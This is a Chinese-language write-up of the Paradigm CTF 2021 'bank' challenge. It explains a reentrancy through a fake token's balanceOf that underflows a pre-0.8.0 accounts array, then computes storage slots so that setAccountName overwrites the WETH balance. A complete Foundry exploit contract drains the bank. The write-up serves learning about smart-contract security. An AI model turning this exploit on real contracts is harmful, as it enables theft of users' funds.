11.bank
2023-09-18 11:10:56 # 19.Paradigm CTF 2021

bank

分析

1.全局观

  • Setup:初始化题目
  • Bank
    • ERC20Like:接口
    • Bank
      • 存款系统,一个用户可以拥有多个account,每个account可以存入多种代币,可以类比成metamask。
      • 存取款、关闭最新的account、更新account的名字
      • owner更换机制

2.任务

让bank的WETH数量归零

1
2
3
function isSolved() external view returns (bool) {
return weth.balanceOf(address(bank)) == 0;
}

3.详细分析

3.1发掘漏洞

先分析资产和状态情况:

ETH WETH 授权 状态
Setup WETH:=>Bank, max
Bank 50 owner=Setup, deposit[Setup]=50WETH
WETH

一看这道题,就知道是考点在于转账(代码量足够少,能出问题的地方不多)。

  • 先来看看可能有问题的方法
    • bank合约的owner转让两个方法是没有操作空间的。不可行。
    • setAccountName()closeLastAccount():虽然closeLastAccount()可以使数组长度减小,但没有外部调用因此不可能重入,也就不可能使其向下溢出。不可行。
    • 那么存取款函数是肯定有问题的
      • 将条件检查的代码去掉,剩下主体可以发现,先转账,后检查状态,很明显的重入。
      • 存款函数虽然可以重入,但是用垃圾token利用自己实现的transferFrom()进行重入,重入增加的数量只是垃圾token,并不会影响到WETH。不可行。
      • 取款函数:用垃圾token利用自己实现的transfer()进行重入,由于版本小于0.8.0,因此重入之后accounts数组下溢导致数组大小覆盖整个storage,然后我们就可以利用setAccountName()来修改任何数据。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function depositToken(uint accountId, address token, uint amount) external {

.....

account.balances[token] += amount;

uint beforeBalance = ERC20Like(token).balanceOf(address(this));
require(ERC20Like(token).transferFrom(msg.sender, address(this), amount), "depositToken/transfer-failed");

uint afterBalance = ERC20Like(token).balanceOf(address(this));
require(afterBalance - beforeBalance == amount, "depositToken/fee-token");
}

function withdrawToken(uint accountId, address token, uint amount) external {
.....
account.balances[token] -= amount;

if (account.balances[token] == 0) {
account.uniqueTokens--;

if (account.uniqueTokens == 0 && accountId == lastAccount) {
accounts[msg.sender].length--;
}
}

uint beforeBalance = ERC20Like(token).balanceOf(msg.sender);
require(ERC20Like(token).transfer(msg.sender, amount), "withdrawToken/transfer-failed");
uint afterBalance = ERC20Like(token).balanceOf(msg.sender);
require(afterBalance - beforeBalance == amount, "withdrawToken/fee-token");
}

3.2利用漏洞

1.重入取款函数使得下溢

可以在三个函数balanceOf(), transferFrom(), transfer()可以作为重入,需要选择在合适的方法合适的位置进行重入才能使得数组长度下溢,这是因为取款函数使数组长度减少是有条件的account.uniqueTokens == 0 && accountId == lastAccount。经过数次尝试,下面的重入逻辑是可行的:左边的数字是重入方法执行的次序,[]中的内容是程序执行过程中全局变量的状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
															[len=0, uniqueTokens=0]
1.depositToken(0, address(this), 0):
[len=1, uniqueTokens=1]
2.withdrawToken(0, address(this), 0) len=1, uniqueTokens=1
[len=1, uniqueTokens=1]
3.depositToken(0, address(this), 0) len=1, uniqueTokens=1
[len=1, uniqueTokens=1]
4.withdrawToken(0, address(this), 0) len=1, uniqueTokens=1
[len=0, uniqueTokens=0]
3.depositToken(0, address(this), 0) len=0, uniqueTokens=1
[len=0, uniqueTokens=1]
2.withdrawToken(0, address(this), 0) len=-1, uniqueTokens=0
[len=-1, uniqueTokens=0]
1.depositToken(0, address(this), 0): len=-1, uniqueTokens=0
[len=-1, uniqueTokens=0]

配套的方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function balanceOf(address) public returns(uint256){
if(count01 == 0){
count01++;
return 0;
}else if(count01 == 1){
count01++;
bank.withdrawToken(0, address(this), 0);
return 0;
}else if(count01 == 2){
count01++;
bank.depositToken(0, address(this), 0);
return 0;
}else if(count01 == 3){
count01++;
bank.withdrawToken(0, address(this), 0);
return 0;
}else{
return 0;
}
}
function transferFrom(address, address, uint256) public returns(bool){return true;}
function transfer(address, uint256) public returns(bool){return true;}

2.找到位置,修改内容

既然我们成功修改了数组大小为无穷,那么我们就可以修改Bank的所有内容,通过setAccountName()

1
2
3
4
5
6
7
8
9
10
11
12
13
struct Account {
string accountName;
uint uniqueTokens;
mapping(address => uint) balances;
}

mapping(address => Account[]) accounts;

function setAccountName(uint accountId, string name) external {
require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");

accounts[msg.sender][accountId].accountName = name;
}

我们只能修改accountName,我们需要找到我们在bank合约中记录WETH余额记录的位置,然后修改为50WETH,就可以取走50WETH了。但这是一个复杂的结构体,因此要找位置便有点麻烦。下面是找到第n个account对应WETH余额存储的位置:

  • 找到Account[]长度的位置:a = keccak256(bytes32(msg.sender)+bytes32(0x02))
  • 找到第一个Account的初始位置:b = keccak256(bytes32(a))
  • 找到第n个Account,即accountId为0:c = keccak256(b) + 3*n
  • 找到第n个Account的WETH对应的余额:
    • d = c + 2
    • e = keccak256(bytes32(WETH)+bytes32(d))

找到第n个account对应WETH余额存储的位置e之后,因为我们的方法之后修改结构体的第一个参数,因此我们需要比较一下看看第n个account能不能刚好覆盖WETH余额的位置,如果不行,则换下一个account:

找到刚好能够覆盖的account,则修改WETH余额,再withdraw那个account。

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;

import "forge-std/Test.sol";
import "./interface.sol";
import "./setupBytecode.sol";

contract attackTest is Test {
string constant WETH9_Artifact = 'out/helper_WETH9.sol/WETH9.json';

IWETH9 public weth;
ISetup public level;
IBank public bank;
uint256 public count01 = 0;
uint256 public count02 = 0;

function setUp() public payable{
// 部署
payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4).transfer(100 ether);
vm.startBroadcast(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4));

weth = IWETH9(deployHelper_weth(WETH9_Artifact));
level = ISetup(deployHelper_Setup(address(weth)));
bank = IBank(level.bank());

vm.label(address(weth),"weth");
vm.label(address(level),"level");
vm.label(address(bank),"bank");
vm.stopBroadcast();
}

function test_isComplete() public{
unchecked{
// 先存入一个,之后才能够修改信息
bank.depositToken(0, address(this), 0);

// 一系列计算
bytes32 myArraySlot = keccak256(abi.encode(address(this), 2)); // 找到Account[]长度的位置
bytes32 myAccountStart = keccak256(abi.encode(myArraySlot)); // 找到第一个Account的初始位置

// 由于可能覆盖不到,因此需要不断尝试,account是指Accounts[]中第n个account
uint256 account_n = 0; // 第n个account
uint256 slotsNeed = 0; // 需要的距离
while (true) {
bytes32 accountStart = bytes32(uint(myAccountStart) + 3*account_n); // 找到第n个account的开始位置
bytes32 accountBalances = bytes32(uint(accountStart) + 2); // 找到`mapping(address => uint) balances`的位置
bytes32 wethBalance = keccak256(abi.encode(address(weth), accountBalances)); // 找到我们的WETH将会存在的位置

slotsNeed = uint256(wethBalance) - uint256(myAccountStart);
if (slotsNeed % 3 == 0) { // 刚好可以覆盖到
break;
}
// 如果第n个account的位置覆盖不到,则试下一个account
account_n++;
}

// 找到要修改的Account的位置
uint256 accountId = slotsNeed / 3;

// 找到了第accountId个Account结构体大小位置
bank.setAccountName(accountId, "any value");
// 因为第account_n个account的WETH余额位置刚好可以覆盖,因此我们操作这个account
bank.withdrawToken(account_n, address(weth), 50 ether);
}
assertEq(level.isSolved(), true);
}

function transferFrom(address, address, uint256) public returns(bool){
return true;
}

function transfer(address, uint256) public returns(bool){
return true;
}

function balanceOf(address) public returns(uint256){
if(count01 == 0){
count01++;
return 0;
}else if(count01 == 1){
count01++;
bank.withdrawToken(0, address(this), 0);
return 0;
}else if(count01 == 2){
count01++;
bank.depositToken(0, address(this), 0);
return 0;
}else if(count01 == 3){
count01++;
bank.withdrawToken(0, address(this), 0);
return 0;
}else{
return 0;
}

}

function deployHelper_weth(string memory what) public returns (address addr) {
bytes memory bytecode = vm.getCode(what);
assembly {
addr := create(0, add(bytecode, 0x20), mload(bytecode))
}
}
function deployHelper_Setup(address _addr) public payable returns (address addr) {
bytes memory bytecode = BYTECODE;
// 构造器有参数
bytes memory bytecode_withConstructor = abi.encodePacked(bytecode,abi.encode(address(_addr)));
assembly {
addr := create(50000000000000000000, add(bytecode_withConstructor, 0x20), mload(bytecode_withConstructor))
}
}

}